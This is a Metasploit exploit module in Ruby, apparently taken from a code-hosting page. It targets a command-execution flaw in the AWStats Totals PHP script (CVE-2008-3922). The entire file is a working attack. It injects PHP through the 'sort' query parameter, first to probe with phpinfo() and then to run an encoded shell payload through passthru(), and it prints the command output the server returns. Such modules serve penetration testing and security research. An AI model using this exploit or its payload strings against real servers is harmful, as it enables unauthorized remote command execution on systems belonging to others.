Patrick Webster
94 lines
2.5 KiB
Ruby
94 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AWStats Totals multisort Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
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},
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'Author' => [ 'aushack' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2008-3922'],
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['OSVDB', '47807'],
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['BID', '30856']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'PayloadType' => 'cmd cmd_bash',
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'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Aug 26 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
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])
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end
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def check
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'vars_get' =>
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{
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'sort' => '"].phpinfo().exit().$a["'
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}
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}, 25)
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if (res and res.body.match(/localhost/))
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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command = Rex::Text.uri_encode(payload.encoded)
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sploit = normalize_uri(datastore['URI']) + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'
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res = send_request_raw({
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'uri' => sploit,
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'method' => 'GET',
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'headers' =>
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{
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'Connection' => 'Close',
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}
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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m = res.body.match(/YYY\n(.*)\nYYY/m)
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if (m)
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print_status("Command output from the server:")
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print("\n" + m[1] + "\n\n")
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else
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print_status("This server may not be vulnerable")
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end
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else
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print_status("No response from the server")
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end
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end
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end
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